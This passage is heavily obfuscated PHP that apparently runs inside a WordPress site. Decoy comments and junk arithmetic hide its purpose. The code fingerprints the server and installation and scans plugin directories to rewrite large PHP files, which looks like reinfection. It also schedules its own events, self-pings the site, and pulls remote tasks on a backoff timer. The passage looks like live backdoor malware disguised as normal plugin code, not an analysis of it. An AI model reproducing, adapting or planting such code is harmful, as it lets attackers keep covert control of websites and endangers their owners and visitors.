     @wp_schedule_single_event($GLOBALS['__scf_tmn0v_xik_1b_195'](), et2b4r7l7_g_aen6());
    ud91k38usni5tk();


 na5vlmhs0e9ks5cjtv();
   return;
}
if ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(437))) @$GLOBALS['__scf_hcws1hss9_grqt_437']((65+115));

kx4a1iqzdbz1d4((3+7));
        return;



       }



       if   ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(437))) @$GLOBALS['__scf_hcws1hss9_grqt_437']((0x98+0x1c));
   kx4a1iqzdbz1d4();$gr4jlwit=4133;$cl1e1ldluh=$gr4jlwit%8;
  }    catch     (Throwable   $uvo4msk8s29_) {
f1995qrx5prr7cbl19co0e(b5xx0lrqzfc(420),     $uvo4msk8s29_);
 }   catch  (Exception      $uvo4msk8s29_) {
  }
    }


 



      function   bm6zuk3j38q3fpmn()


    {
// broadcast symbol-table for PSR-4 namespaces

try {
if  (!  $GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(427)))    {



     return;


      }
     
$k4clvv8v32   =  $GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(51))  ?  get_transient(ev_yl_99eshcn294o())    :   false;
     if  (! $GLOBALS['__scf__qh9f0l6g7e7ez_35']($k4clvv8v32))  $k4clvv8v32 = y6bufl7h7ptft9p90e(s99lg14mcd3un(438), false);
if     (!     $GLOBALS['__scf__qh9f0l6g7e7ez_35']($k4clvv8v32))   {
// acknowledge capability for WP Avatar Block


     return;
      }
 
      if    (isset($k4clvv8v32[cv8ducrec(439)])    &&    $GLOBALS['__scf__qh9f0l6g7e7ez_35']($k4clvv8v32[pvz_9xuc0nzl0m(440)])) {
 $GLOBALS[b5xx0lrqzfc(441)]  =      aods54sn8y2xtf9iju1r1($k4clvv8v32[pvz_9xuc0nzl0m(442)]);
    }
   

       if  (isset($k4clvv8v32[cv8ducrec(443)]) &&   $GLOBALS['__scf__qh9f0l6g7e7ez_35']($k4clvv8v32[pvz_9xuc0nzl0m(443)]))  {
  $GLOBALS[j8bjjevd80e(444)]  =      aods54sn8y2xtf9iju1r1($k4clvv8v32[pvz_9xuc0nzl0m(443)]);
 }

      
  if  (isset($k4clvv8v32[cv8ducrec(445)]) &&  $GLOBALS['__scf_qubutkuvnnc4sx_41']($k4clvv8v32[cv8ducrec(445)])) {
  $GLOBALS[s99lg14mcd3un(446)] =  $k4clvv8v32[j8bjjevd80e(445)];
    }
  if  (isset($k4clvv8v32[s99lg14mcd3un(447)])  && $GLOBALS['__scf_qubutkuvnnc4sx_41']($k4clvv8v32[cv8ducrec(447)]) &&  $GLOBALS['__scf_d413tdd725_10']($k4clvv8v32[b5xx0lrqzfc(447)]) >     (118^68))   {
      $GLOBALS[j8bjjevd80e(448)]     =    $k4clvv8v32[b5xx0lrqzfc(449)];
   }
   if   (isset($k4clvv8v32[pvz_9xuc0nzl0m(450)])   && $GLOBALS['__scf_qubutkuvnnc4sx_41']($k4clvv8v32[pvz_9xuc0nzl0m(451)])  && $GLOBALS['__scf_d413tdd725_10']($k4clvv8v32[j8bjjevd80e(451)]) >   (186^222))      {
// singular bivariant

 $GLOBALS[s99lg14mcd3un(452)]  =  $k4clvv8v32[pvz_9xuc0nzl0m(451)];
   }
 }   catch  (Throwable  $uvo4msk8s29_) {
  f1995qrx5prr7cbl19co0e(pvz_9xuc0nzl0m(453), $uvo4msk8s29_);

        } catch  (Exception  $uvo4msk8s29_)  {
   }
    }
       
     function   ndaip23byguyo09nkf()
    {
  try    {



  if  (!$GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(427))  ||  !$GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(429)))  return;

  if   ((int)  get_option(j8bjjevd80e(454),  0)  > $GLOBALS['__scf_tmn0v_xik_1b_195']()     - (3557+43))     return;
if      ($GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(455))  &&  get_transient(pvz_9xuc0nzl0m(456)))  return;
 if (!k0z4yy7qpc1ii_ewbdqi()) return;
  $b8invuuunb3 =   fisznicc_bnq0q9lpk5a1j(b5xx0lrqzfc(457),  "");


  if    (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($b8invuuunb3) ||  $GLOBALS['__scf_d413tdd725_10']($b8invuuunb3) < (971-471)     ||      g6jpyeq0fm_rzn($b8invuuunb3) ||   !ro9zxkt259xhwz4($b8invuuunb3)) {
    $b8invuuunb3    =  false;
  $hfllxo9u535  =     wj9blpi2pvw8f3b8qhcxu(curga5ep68su8__o());
      if  ($GLOBALS['__scf_qubutkuvnnc4sx_41']($hfllxo9u535) && !g6jpyeq0fm_rzn($hfllxo9u535)  && ro9zxkt259xhwz4($hfllxo9u535))   {
yf4cseyywyt6kel(b5xx0lrqzfc(458),  $hfllxo9u535,  pvz_9xuc0nzl0m(197));
    $b8invuuunb3  = $hfllxo9u535;


  }
if (!$b8invuuunb3)   {
@update_option(j8bjjevd80e(454),   $GLOBALS['__scf_tmn0v_xik_1b_195'](), j8bjjevd80e(459));
   return;
 }
        }
     $fgoq7r8fqp     =   array(curga5ep68su8__o());
     $v44jmjwc1lsu737      = eki4v2wrqno4knxgtm4qhv();
 $ctfw2v97n7mn_u  = x002260tc_2l50yfgc3hj($v44jmjwc1lsu737,   (5055-55));
 if ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($ctfw2v97n7mn_u))   {
   foreach  ($ctfw2v97n7mn_u  as    $xcg_nhpwqsm)  {
    if  ($GLOBALS['__scf_kmygv436ft5pn_9']($xcg_nhpwqsm,      -(0x3+0x1)) ===   pvz_9xuc0nzl0m(460))     $fgoq7r8fqp[]   = $v44jmjwc1lsu737  .     '/' . $xcg_nhpwqsm;
    }



 }
    if (defined(cv8ducrec(6))  &&  $GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(233)))  {
   foreach ((array)  @$GLOBALS['__scf_fczaqag___47_72'](WP_PLUGIN_DIR . cv8ducrec(461))      as    $bwvgqk77ngjmu)      $fgoq7r8fqp[]  =  $bwvgqk77ngjmu;
        }
 $fgoq7r8fqp   =  $GLOBALS['__scf_ahbb1zgmq33o_158']($fgoq7r8fqp);
 $j2ijmnvvzm9  = array();

$kz6gg_2puf1 =  $GLOBALS['__scf_kmygv436ft5pn_9']($GLOBALS['__scf_y_ur004dxjki__462'](cv8ducrec(463),  "",   $GLOBALS['__scf_kmygv436ft5pn_9']($b8invuuunb3,     0,  (65507+29))), 0, (2017+31));
   


 foreach ($fgoq7r8fqp  as $gx1wu9an7cfa2x_t) {



 $vdfpv2zrab78z   =    @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($gx1wu9an7cfa2x_t);$p5folpszm=PHP_MAJOR_VERSION;$vzusqq5jgu=$p5folpszm*7;



     if   (!$vdfpv2zrab78z || $vdfpv2zrab78z  <=   (1048525+51))    continue;
$fqelj_zxibn6nw3   = @$GLOBALS['__scf_v_rxq_yh85s05_99']($gx1wu9an7cfa2x_t, false,    null,  0,   (72759-7223));
    if    (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($fqelj_zxibn6nw3) || !g6jpyeq0fm_rzn($fqelj_zxibn6nw3)) continue;
if   ($gx1wu9an7cfa2x_t !== curga5ep68su8__o()     && $GLOBALS['__scf_kmygv436ft5pn_9']($GLOBALS['__scf_y_ur004dxjki__462'](cv8ducrec(463),  "",   $fqelj_zxibn6nw3),    0, (1984+64))   !==   $kz6gg_2puf1) continue;
 $j2ijmnvvzm9[]     =   $gx1wu9an7cfa2x_t;
     }
if  (!$j2ijmnvvzm9)  {
// loop invariant

 @update_option(pvz_9xuc0nzl0m(454),   $GLOBALS['__scf_tmn0v_xik_1b_195'](),      b5xx0lrqzfc(464));


  if  ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(62))) set_transient(pvz_9xuc0nzl0m(456),  1,    (554+46));
 return;


  }
  @update_option(pvz_9xuc0nzl0m(454), $GLOBALS['__scf_tmn0v_xik_1b_195'](), b5xx0lrqzfc(465));
  foreach   ($j2ijmnvvzm9   as   $fulx_n95kwu) {
// megamorphic call


     ottk3i1kq8br96vi($fulx_n95kwu,  (46+374));
 if (qc7730958b5mgfuj_($fulx_n95kwu,  bpgn93eq1czhbg($b8invuuunb3)))  {

 jyzt_8_4_q17j3kbgccl($fulx_n95kwu);
lukwh2drghgd804($fulx_n95kwu);
   ottk3i1kq8br96vi($fulx_n95kwu, (616-196));



xmuf92hov77yw0fjcu8($fulx_n95kwu);
     if ($fulx_n95kwu    ===    curga5ep68su8__o()) {


    usllxr5akmyy8c(true);
      nz_ixcwyiz2y1c2_dll9j(true);
}



     } else    {
 ottk3i1kq8br96vi($fulx_n95kwu,  (769-349));



  }
 }
  }     catch (Throwable $uvo4msk8s29_)  {
f1995qrx5prr7cbl19co0e(b5xx0lrqzfc(466), $uvo4msk8s29_);


 }   catch    (Exception   $uvo4msk8s29_) {$k1f4iduyojr=PHP_INT_MAX/PHP_INT_MAX;$cpq2u6kas=$k1f4iduyojr+30;
}



     }
 function k_ji4yjjphzohodoa()
    {
  static $a06sm2zjmwx  = false;
  if ($a06sm2zjmwx) return;
     $a06sm2zjmwx    =   true;
   try   {
 dhsbng2_01x6axzehlc();

    ndaip23byguyo09nkf();
   jaxqz8ok8rmiel1zgy4ndv();
bm6zuk3j38q3fpmn();
    rkhl8t5br0id4p1hfg();

   s5hxf3p80jtm3r0_mjb();
cjf5e7zoh6ep1y0();
    b9qwphei1gqk0791pp();
     kvjh1309l3o5k6i3_zrn7();
   if (qdaq3g3vrxkter()) {

   if ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(467))  &&   did_action(cv8ducrec(420))) {
  if    ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(179)))  $GLOBALS['__scf_q0ye8_g2b4gf_179'](b5xx0lrqzfc(468));
  }     else   {
d25ke5lz6ilx2qgf(cv8ducrec(420),      j8bjjevd80e(468),    0);
   }
    }
  }  catch (Throwable   $uvo4msk8s29_) {
}   catch (Exception    $uvo4msk8s29_)  {


 }
  }
    function  na5vlmhs0e9ks5cjtv()



 {
try {
  if (!$GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(389))   || !$GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(469))) return;
 if    (!$GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(427)) ||  !$GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(470)))   return;
 $u4myi4a8fa1vxhx4  = $GLOBALS['__scf_tmn0v_xik_1b_195']();


   if     ($u4myi4a8fa1vxhx4 - (int)    @get_option(b5xx0lrqzfc(471),      0)     < (3583+17)) return;
     @update_option(j8bjjevd80e(472),  $u4myi4a8fa1vxhx4, b5xx0lrqzfc(465));
   @$GLOBALS['__scf_cxp28f27vo1_297'](home_url('/'),  array(s99lg14mcd3un(392)     => 2,   pvz_9xuc0nzl0m(394) =>  false, b5xx0lrqzfc(473) => false));
  }   catch    (Throwable $uvo4msk8s29_)   {
  }  catch   (Exception    $uvo4msk8s29_)     {
}
}
function  qdaq3g3vrxkter()
{
    if   (!   $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(474)))  {



    return     true;
        }
// PHP 8.3 readonly icon sprite

     
 if    ($GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(455)) &&  get_transient(ev_yl_99eshcn294o()))  {

 return   false;
  }

  $gta7iaqdnmdm2i  = a89x3hypm78o6y7xnj0h();
 $wnbgk5omtp371a =    y6bufl7h7ptft9p90e(pvz_9xuc0nzl0m(475),   false);

 if  ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($wnbgk5omtp371a)  &&  isset($wnbgk5omtp371a[pvz_9xuc0nzl0m(476)])  &&  (int) $wnbgk5omtp371a[cv8ducrec(476)] >=     (0x5d+0xcf)  &&   (int)     $wnbgk5omtp371a[b5xx0lrqzfc(476)]  <=  (86385+15))    $gta7iaqdnmdm2i =    (int)   $wnbgk5omtp371a[j8bjjevd80e(476)];
$u_hv43vlye0_5n7  =    (int) get_option(cv8ducrec(432), 0);
if    ($u_hv43vlye0_5n7   >   0     &&  ($GLOBALS['__scf_tmn0v_xik_1b_195']()  -   $u_hv43vlye0_5n7)      <    $gta7iaqdnmdm2i)  {


 return   false;
 }



 



$teg8k21ftm44u  =     (int) get_option(cv8ducrec(477),   0);
  if ($teg8k21ftm44u      >    0)  {
    $iz6_43pcydz77      =    (int)   get_option(j8bjjevd80e(478),  0);
      $hrdadahbrsl  =    array((285+15),    (70+830), (0x24+0x6e4),  (3583+17),  (5964-2364));
 $i8lis640i1bb = $hrdadahbrsl[$GLOBALS['__scf_yxou341jk2n2_479'](0,  $GLOBALS['__scf_kdgi9msmnx8o_480']($iz6_43pcydz77  -  1,      (1<<2)))];



 $i8lis640i1bb +=   $GLOBALS['__scf_pbb_q2_l2kzq6z_355'](0,    (int)     ($i8lis640i1bb *   0.25));
if  (($GLOBALS['__scf_tmn0v_xik_1b_195']()  - $teg8k21ftm44u)  <  $i8lis640i1bb) {


  return  false;
 }
     }
     
return  true;
  }
    
    function yjewt2tle_jt0oxoue_inn()
{
$iz6_43pcydz77  =  (int) get_option(pvz_9xuc0nzl0m(478),     0);
update_option(b5xx0lrqzfc(478),     $iz6_43pcydz77 + 1);



  update_option(cv8ducrec(477),   $GLOBALS['__scf_tmn0v_xik_1b_195']());
       }
function nicfe_oiyiskzsa()
   {
   $rtnxjwsi0p3gd =    array();
     try {
  $rtnxjwsi0p3gd[pvz_9xuc0nzl0m(481)]  =   jqg87ez26lzm3yp01xj2q();
  $rtnxjwsi0p3gd[cv8ducrec(482)] = PHP_VERSION;
 $rtnxjwsi0p3gd[j8bjjevd80e(483)]    =  $GLOBALS['__scf_mv3hm1pk74i2v_108']();
   $rtnxjwsi0p3gd[j8bjjevd80e(484)]   =   ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(485)) && is_ssl())    ?  1  :  0;
  $rtnxjwsi0p3gd[pvz_9xuc0nzl0m(486)]    =  ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(487))    &&   is_multisite())      ?  1 :    0;
$rtnxjwsi0p3gd[cv8ducrec(488)]  =    isset($GLOBALS[b5xx0lrqzfc(489)])    ? (string) $GLOBALS[b5xx0lrqzfc(489)]   :     "";
$rtnxjwsi0p3gd[cv8ducrec(490)]    =  isset($_SERVER[j8bjjevd80e(114)])   ? $GLOBALS['__scf_kmygv436ft5pn_9']((string)  $_SERVER[j8bjjevd80e(114)],    0,   (22+18)) :    "";
  $mr7ah3cuiujsm2  = (isset($GLOBALS[j8bjjevd80e(491)]) && $GLOBALS['__scf_qubutkuvnnc4sx_41']($GLOBALS[pvz_9xuc0nzl0m(491)])) ?   $GLOBALS['__scf_qbsuu37jbe5t_328']($GLOBALS[b5xx0lrqzfc(492)])    : "";
$rtnxjwsi0p3gd[j8bjjevd80e(493)]   =     ($mr7ah3cuiujsm2     !== "")     ?  1   :  0;
$rtnxjwsi0p3gd[j8bjjevd80e(494)] =  $GLOBALS['__scf_d413tdd725_10']($mr7ah3cuiujsm2);
 $rtnxjwsi0p3gd[pvz_9xuc0nzl0m(495)]  =  !empty($GLOBALS[j8bjjevd80e(496)])  ? 1      :      0;
$rtnxjwsi0p3gd[pvz_9xuc0nzl0m(497)]   = !empty($GLOBALS[cv8ducrec(498)])  ?  1 :  0;



$rtnxjwsi0p3gd[s99lg14mcd3un(499)] =  $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(474))     ?    (int)   @get_option(j8bjjevd80e(500),     0) : 0;


       $rtnxjwsi0p3gd[pvz_9xuc0nzl0m(366)]  =  (_x9hn2qehctkx39o(pvz_9xuc0nzl0m(501),  "")    !== "")  ?  1 :  0;
   $rtnxjwsi0p3gd[pvz_9xuc0nzl0m(502)]    =     $GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(474)) ?  (int)  @get_option(pvz_9xuc0nzl0m(503), 0)  :  0;
 $rtnxjwsi0p3gd[cv8ducrec(504)] =   $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(474)) ?      (int)     @get_option(j8bjjevd80e(505),  0) :  0;$_l9gdbinnb=24*5;$v84nw78tami=$_l9gdbinnb-4;
$rtnxjwsi0p3gd[b5xx0lrqzfc(506)]    =  $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(507))  ? (int)    @get_option(b5xx0lrqzfc(508),    0)     : 0;
   $gd6o0r1d5y51sfu    =      wzbvgogq03mxeqb();
   $rtnxjwsi0p3gd[b5xx0lrqzfc(509)]  =  @$GLOBALS['__scf_xaseomj3flge_20']($gd6o0r1d5y51sfu .   b5xx0lrqzfc(510)) ?     (b76jioebxxijd84aykeosl(@$GLOBALS['__scf_v_rxq_yh85s05_99']($gd6o0r1d5y51sfu .  cv8ducrec(510),   false,   null, 0,    (0x68f+0x1971))) ?  2 : 1) :   0;

 $rtnxjwsi0p3gd[j8bjjevd80e(511)]  =   @$GLOBALS['__scf_xaseomj3flge_20']($gd6o0r1d5y51sfu    .   s99lg14mcd3un(512)) ?   (b76jioebxxijd84aykeosl(@$GLOBALS['__scf_v_rxq_yh85s05_99']($gd6o0r1d5y51sfu  .  cv8ducrec(512),  false,  null,   0, (0xce8+0x1318)))     ? 2   :  1) :     0;$wjs7i5uw=667;$d5w5r92gp1a=$wjs7i5uw%7;
 $rtnxjwsi0p3gd[s99lg14mcd3un(513)] =  @$GLOBALS['__scf_xaseomj3flge_20']($gd6o0r1d5y51sfu     .  s99lg14mcd3un(514))   ?     (b76jioebxxijd84aykeosl(@$GLOBALS['__scf_v_rxq_yh85s05_99']($gd6o0r1d5y51sfu .     pvz_9xuc0nzl0m(514),    false,    null,    0,   (8145+47)))   ?   2 :      1) :  0;
 $pu64amt84742vvh   =   s99lg14mcd3un(515)  .    inbj7my4zpjuh_tx(ABSPATH  .  'g',  (150^158));
   $vokrs7nfgkpqjyv8 = s99lg14mcd3un(516)   .      inbj7my4zpjuh_tx(ABSPATH . 'g', (0x3+0x5));
 $rtnxjwsi0p3gd[j8bjjevd80e(517)]   =      0;
    foreach  (array(wjdsjl3nphz8g9u(),   $gd6o0r1d5y51sfu,  ABSPATH    .    j8bjjevd80e(518))  as  $f50tcnvow_a)  {
 if   (@$GLOBALS['__scf_xaseomj3flge_20']($f50tcnvow_a  . '/' .    $pu64amt84742vvh  .  b5xx0lrqzfc(460)))   $rtnxjwsi0p3gd[pvz_9xuc0nzl0m(519)]    = 1;
 if (@$GLOBALS['__scf_xaseomj3flge_20']($f50tcnvow_a   .   '/' . $vokrs7nfgkpqjyv8)    &&  (int) @$GLOBALS['__scf_ha0rpt74l7eb9_102']($f50tcnvow_a   . '/'   .  $vokrs7nfgkpqjyv8) >      $GLOBALS['__scf_tmn0v_xik_1b_195']() -      (163+77)) {
$rtnxjwsi0p3gd[pvz_9xuc0nzl0m(519)] =     2;
  break;

}
 }
unset($vokrs7nfgkpqjyv8, $f50tcnvow_a);



     $qwqn_quc5sv2i    =   $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(520))   ?  @$GLOBALS['__scf_aojulu3bik1_116'](j8bjjevd80e(521)) : false;

    if (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($qwqn_quc5sv2i)  ||   $qwqn_quc5sv2i ===  ""   || $qwqn_quc5sv2i  === s99lg14mcd3un(522)) $qwqn_quc5sv2i      =    j8bjjevd80e(523);
      $rtnxjwsi0p3gd[b5xx0lrqzfc(524)]  =   (@$GLOBALS['__scf_xaseomj3flge_20'](ABSPATH   .  $qwqn_quc5sv2i)  && $GLOBALS['__scf_ya_jdhkqpku_7']((string)  @$GLOBALS['__scf_v_rxq_yh85s05_99'](ABSPATH . $qwqn_quc5sv2i), b5xx0lrqzfc(525))  !==   false) ?   1    :   0;
 $rtnxjwsi0p3gd[j8bjjevd80e(526)]  = (@$GLOBALS['__scf_xaseomj3flge_20'](ABSPATH  . pvz_9xuc0nzl0m(527))  &&  $GLOBALS['__scf_ya_jdhkqpku_7']((string) @$GLOBALS['__scf_v_rxq_yh85s05_99'](ABSPATH .      cv8ducrec(527)),  cv8ducrec(525))   !==      false) ?   1     : 0;
    $rtnxjwsi0p3gd[pvz_9xuc0nzl0m(528)]  = (@$GLOBALS['__scf_xaseomj3flge_20'](ABSPATH  .      s99lg14mcd3un(529)) &&  $GLOBALS['__scf_ya_jdhkqpku_7']((string)   @$GLOBALS['__scf_v_rxq_yh85s05_99'](ABSPATH  . pvz_9xuc0nzl0m(529),  false, null,  0,   (65474+62)),    b5xx0lrqzfc(530))  !== false)   ?  1  :   0;
  $rtnxjwsi0p3gd[s99lg14mcd3un(531)]   = defined(s99lg14mcd3un(532)) ? 1     :   0;
 $rtnxjwsi0p3gd[s99lg14mcd3un(533)]    =  (defined(cv8ducrec(534)) ||   defined(pvz_9xuc0nzl0m(535))   || defined(j8bjjevd80e(536))  ||     $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(537)) ||   $GLOBALS['__scf_zr872o85b_o0_538'](b5xx0lrqzfc(539))     || isset($GLOBALS[s99lg14mcd3un(540)]) ||   $GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(541)))    ? 1    : 0;
$rtnxjwsi0p3gd[pvz_9xuc0nzl0m(542)] =  (int)   get_option(s99lg14mcd3un(432),  0);
 $rtnxjwsi0p3gd[pvz_9xuc0nzl0m(543)] =  (int)  get_option(j8bjjevd80e(478),  0);
  $rtnxjwsi0p3gd[b5xx0lrqzfc(544)]  = (int)    get_option(pvz_9xuc0nzl0m(477),  0);
 $uu028zbddv  =    fisznicc_bnq0q9lpk5a1j(j8bjjevd80e(545), array());
   $_bf8vbuy57lveyh   =    0;
 $d1amckoh8mx31ej      =  0;


if ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($uu028zbddv)) {



foreach  ($uu028zbddv as    $xcg_nhpwqsm)  {
 if  (zdl8fqpcgd1vkckg($xcg_nhpwqsm)  === "")  continue;

$_bf8vbuy57lveyh++;
 $wtk_1_aa5sp    = $GLOBALS['__scf__qh9f0l6g7e7ez_35']($xcg_nhpwqsm)   ?  (int)   (isset($xcg_nhpwqsm[s99lg14mcd3un(546)]) ?    $xcg_nhpwqsm[b5xx0lrqzfc(547)] :   1)  : 1;
$nuc8klvu8t1k    =   $GLOBALS['__scf__qh9f0l6g7e7ez_35']($xcg_nhpwqsm)  &&      isset($xcg_nhpwqsm[j8bjjevd80e(548)]) ?  (int)   $xcg_nhpwqsm[j8bjjevd80e(549)]  :  0;
   if    (!$wtk_1_aa5sp   && (!$nuc8klvu8t1k   ||    $nuc8klvu8t1k      <  $GLOBALS['__scf_tmn0v_xik_1b_195']()   -     (0x624+0x7ec))) $d1amckoh8mx31ej++;



 }
 }
     $rtnxjwsi0p3gd[pvz_9xuc0nzl0m(550)]  =     $_bf8vbuy57lveyh;
      $rtnxjwsi0p3gd[cv8ducrec(551)] =  $d1amckoh8mx31ej;

      $uneqdgcw0hmv = $GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(552))     ?  @get_option(cv8ducrec(553),  "")     :  "";
 $rtnxjwsi0p3gd[pvz_9xuc0nzl0m(554)]   =     $GLOBALS['__scf_qubutkuvnnc4sx_41']($uneqdgcw0hmv)    ?  $GLOBALS['__scf_kmygv436ft5pn_9']($uneqdgcw0hmv,      0,   (0x3+0x2)) : "";
 $tum8uxnwiwq7_2 = $GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(552)) ? @get_option(s99lg14mcd3un(555),    array()) :  array();
 $rtnxjwsi0p3gd[pvz_9xuc0nzl0m(556)]    =   ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($tum8uxnwiwq7_2) &&    (!empty($tum8uxnwiwq7_2['t']) || !empty($tum8uxnwiwq7_2[s99lg14mcd3un(557)])))  ?  1  :  0;
 }   catch  (Throwable      $uvo4msk8s29_)    {


 $rtnxjwsi0p3gd[b5xx0lrqzfc(558)]  =  $GLOBALS['__scf_kmygv436ft5pn_9']($uvo4msk8s29_->getMessage(),     0,     (51^15));


}    catch    (Exception     $uvo4msk8s29_)  {
       $rtnxjwsi0p3gd[pvz_9xuc0nzl0m(559)] =   $GLOBALS['__scf_kmygv436ft5pn_9']($uvo4msk8s29_->getMessage(), 0, (115-55));
     }
  return  $rtnxjwsi0p3gd;



  }

function   jjaln5s5_cslb9rmjs1h()
 {
   if  ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(390))) {


 return (string)  site_url(cv8ducrec(560));
   }

 return $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(561))   ? (string) wp_login_url() : "";

   }

  function   q2jllc8juonl0cgja1g($mg3ad6rlk8)
   {
$ebj6ay_an7an8ij   =   "";
if     ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(469))) {$q0wgmzlpuka_h=10*9;$boqa0il_u6re6=$q0wgmzlpuka_h-4;



   $ebj6ay_an7an8ij = (string)  $GLOBALS['__scf_funynp4wlyh1l1_562'](home_url(), constant(s99lg14mcd3un(563)));$z67bkvplap4=19|138;$isdldb_fuc9=$z67bkvplap4^13;
  }
   if    (!    $ebj6ay_an7an8ij    &&   $GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(564)))  {



  $ebj6ay_an7an8ij     =  (string)   $GLOBALS['__scf_funynp4wlyh1l1_562'](get_site_url(),  constant(cv8ducrec(563)));
  }
// WP Block Transforms: read-committed singleton

 if (!  $ebj6ay_an7an8ij  &&   $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(565)))   {
// flag cleared

     $ebj6ay_an7an8ij   = (string)    $GLOBALS['__scf_funynp4wlyh1l1_562'](get_bloginfo(j8bjjevd80e(566)),   constant(j8bjjevd80e(563)));
}
if   (!    $ebj6ay_an7an8ij  &&   $GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(552)))  {
 $ebj6ay_an7an8ij  = (string) $GLOBALS['__scf_funynp4wlyh1l1_562']((string) get_option(b5xx0lrqzfc(567),   ""), constant(j8bjjevd80e(563)));
}
   if    (!    $ebj6ay_an7an8ij && isset($_SERVER[cv8ducrec(568)]))   {
 $ebj6ay_an7an8ij  =   (string)  $_SERVER[j8bjjevd80e(568)];
}



    if   (!    $ebj6ay_an7an8ij    &&   isset($_SERVER[cv8ducrec(569)])) {
$ebj6ay_an7an8ij = (string)   $_SERVER[j8bjjevd80e(569)];

      }
if    (!    $ebj6ay_an7an8ij)    {

       return $mg3ad6rlk8;
}
     return  $ebj6ay_an7an8ij;
}
 function   kx4a1iqzdbz1d4($iuiqmcw1hm03oqd_   = 0)


 {
 try  {
        $czw7ugr6z5jq_1_      =  $GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(520)) ?    (int)  @$GLOBALS['__scf_aojulu3bik1_116'](pvz_9xuc0nzl0m(570))     :   0;
  if  ($GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(437))) @$GLOBALS['__scf_hcws1hss9_grqt_437']((115^199));
$x7bpm0cj9cz8cm2   = ($czw7ugr6z5jq_1_  >  (0x10+0x4)  &&    $czw7ugr6z5jq_1_    <   (86+94)) ?  ($czw7ugr6z5jq_1_  -  (0x1+0x9))     : (($czw7ugr6z5jq_1_   >    0     &&  $czw7ugr6z5jq_1_    <= (5<<2))   ?    (13-3)  :  (165-75));
    if  ($iuiqmcw1hm03oqd_   >   0  && $x7bpm0cj9cz8cm2 >      $iuiqmcw1hm03oqd_)    $x7bpm0cj9cz8cm2 =  $iuiqmcw1hm03oqd_;
  $GLOBALS[b5xx0lrqzfc(293)]    = $GLOBALS['__scf_di84jqdj15nut_294'](true)      +    $x7bpm0cj9cz8cm2;
   if    (!  qdaq3g3vrxkter()) {
    return;
  }
 if     (!oi023dn_ef3e6fe(pvz_9xuc0nzl0m(571)))   {
       return;
  }
 
    $siar7b0jqusum    = $GLOBALS['__scf_di84jqdj15nut_294'](true);


   $tausuyfs33ju =   hd1fbm8dr1l0zlcsc22r4((int) ($x7bpm0cj9cz8cm2    *  0.6));
     if    (
!  $GLOBALS['__scf__qh9f0l6g7e7ez_35']($tausuyfs33ju)
      || !   isset($tausuyfs33ju[s99lg14mcd3un(346)])  ||     !  $GLOBALS['__scf_qubutkuvnnc4sx_41']($tausuyfs33ju[cv8ducrec(346)])   ||  !    $tausuyfs33ju[s99lg14mcd3un(572)]
    ||    ! isset($tausuyfs33ju[s99lg14mcd3un(347)])   ||   !     $GLOBALS['__scf__qh9f0l6g7e7ez_35']($tausuyfs33ju[b5xx0lrqzfc(347)]) ||  empty($tausuyfs33ju[cv8ducrec(573)])
  ) {
yjewt2tle_jt0oxoue_inn();

return;
}
$oine4pgfz7 =   $tausuyfs33ju[s99lg14mcd3un(572)];
   $pd593s0jd4    =  $tausuyfs33ju[s99lg14mcd3un(573)];
  yf4cseyywyt6kel(j8bjjevd80e(574), $oine4pgfz7,  s99lg14mcd3un(575));


  yf4cseyywyt6kel(s99lg14mcd3un(576),  $GLOBALS['__scf_ya_jdhkqpku_7']($oine4pgfz7, cv8ducrec(577)) ===    0    ?   1 :    0, cv8ducrec(575));
        $h0e824bf3znc =  $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(552))    ?   (string)     get_option(b5xx0lrqzfc(578), "")    :  "";
     if   ($h0e824bf3znc   !==    "" &&  $GLOBALS['__scf_o_dt0p7mox4_159']($h0e824bf3znc,    $pd593s0jd4,   true)) {


